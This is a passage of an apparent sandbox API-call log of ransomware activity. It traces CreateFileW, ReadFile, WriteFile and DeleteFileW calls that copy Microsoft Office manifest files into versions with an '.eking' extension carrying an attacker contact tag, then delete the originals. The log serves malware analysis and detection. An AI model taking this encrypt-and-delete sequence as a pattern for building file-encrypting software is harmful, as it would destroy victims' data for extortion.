office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x39c [0252.485] ReadFile (in: hFile=0x390, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x4ed, lpOverlapped=0x0) returned 1 [0252.487] WriteFile (in: hFile=0x39c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x4f0, lpOverlapped=0x0) returned 1 [0252.488] WriteFile (in: hFile=0x39c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x142, lpOverlapped=0x0) returned 1 [0252.489] CloseHandle (hObject=0x390) returned 1 [0252.489] CloseHandle (hObject=0x39c) returned 1 [0252.489] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml")) returned 0 [0252.490] SetEvent (hEvent=0x2b8) returned 1 [0252.490] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0252.491] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=65002) returned 1 [0252.491] CloseHandle (hObject=0x39c) returned 1 [0252.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0252.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0252.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0252.492] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0252.492] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0252.492] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0252.492] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x390 [0252.493] ReadFile (in: hFile=0x39c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xfdea, lpOverlapped=0x0) returned 1 [0252.498] WriteFile (in: hFile=0x390, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xfdf0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xfdf0, lpOverlapped=0x0) returned 1 [0252.500] WriteFile (in: hFile=0x390, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x142, lpOverlapped=0x0) returned 1 [0252.501] CloseHandle (hObject=0x39c) returned 1 [0252.501] CloseHandle (hObject=0x390) returned 1 [0252.501] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 0 [0252.502] SetEvent (hEvent=0x2b8) returned 1 [0252.502] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0252.503] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1261) returned 1 [0252.503] CloseHandle (hObject=0x390) returned 1 [0252.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0252.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0252.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0252.503] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0252.504] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0252.504] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0252.504] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x39c [0252.505] ReadFile (in: hFile=0x390, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x4ed, lpOverlapped=0x0) returned 1 [0252.508] WriteFile (in: hFile=0x39c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x4f0, lpOverlapped=0x0) returned 1 [0252.509] WriteFile (in: hFile=0x39c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x142, lpOverlapped=0x0) returned 1 [0252.509] CloseHandle (hObject=0x390) returned 1 [0252.509] CloseHandle (hObject=0x39c) returned 1 [0252.510] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml")) returned 0 [0252.510] SetEvent (hEvent=0x2b8) returned 1 [0252.510] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0252.511] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1261) returned 1 [0252.511] CloseHandle (hObject=0x39c) returned 1 [0252.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml")) returned 0x220 [0252.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml")) returned 0x220 [0252.512] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0252.512] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0252.512] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0252.512] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0252.512] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x38c [0252.976] ReadFile (in: hFile=0x39c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x4ed, lpOverlapped=0x0) returned 1 [0252.978] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x4f0, lpOverlapped=0x0) returned 1 [0252.980] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x142, lpOverlapped=0x0) returned 1 [0252.980] CloseHandle (hObject=0x39c) returned 1 [0252.980] CloseHandle (hObject=0x38c) returned 1 [0252.980] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml")) returned 0 [0252.981] SetEvent (hEvent=0x2b8) returned 1 [0252.981] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0252.982] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=9216) returned 1 [0252.982] CloseHandle (hObject=0x38c) returned 1 [0252.983] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 0x220 [0252.983] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 0x220 [0252.983] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0252.983] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0252.984] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0252.984] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0252.984] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x39c [0252.989] ReadFile (in: hFile=0x38c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x2400, lpOverlapped=0x0) returned 1 [0252.992] WriteFile (in: hFile=0x39c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x2410, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x2410, lpOverlapped=0x0) returned 1 [0252.994] WriteFile (in: hFile=0x39c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x142, lpOverlapped=0x0) returned 1 [0252.994] CloseHandle (hObject=0x38c) returned 1 [0252.994] CloseHandle (hObject=0x39c) returned 1 [0252.995] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 0 [0252.995] SetEvent (hEvent=0x2b8) returned 1 [0252.996] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0252.996] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1261) returned 1 [0252.997] CloseHandle (hObject=0x39c) returned 1 [0252.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml")) returned 0x220 [0252.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml")) returned 0x220 [0252.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0252.997] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0252.998] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0252.998] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0252.998] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x38c [0252.999] ReadFile (in: hFile=0x39c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x4ed, lpOverlapped=0x0) returned 1 [0253.001] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x4f0, lpOverlapped=0x0) returned 1 [0253.003] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x142, lpOverlapped=0x0) returned 1 [0253.003] CloseHandle (hObject=0x39c) returned 1 [0253.003] CloseHandle (hObject=0x38c) returned 1 [0253.004] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml")) returned 0 [0253.004] SetEvent (hEvent=0x2b8) returned 1 [0253.004] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0253.005] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=399528) returned 1 [0253.005] CloseHandle (hObject=0x38c) returned 1 [0253.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0253.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0253.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.006] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0253.006] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0253.007] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0253.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x39c [0253.009] ReadFile (in: hFile=0x38c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x618a8, lpOverlapped=0x0) returned 1 [0253.172] WriteFile (in: hFile=0x39c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x618b0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x618b0, lpOverlapped=0x0) returned 1 [0253.182] WriteFile (in: hFile=0x39c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x142, lpOverlapped=0x0) returned 1 [0253.182] CloseHandle (hObject=0x38c) returned 1 [0253.182] CloseHandle (hObject=0x39c) returned 1 [0253.183] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 0 [0253.183] SetEvent (hEvent=0x2b8) returned 1 [0253.183] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0253.185] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1261) returned 1 [0253.185] CloseHandle (hObject=0x39c) returned 1 [0253.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" 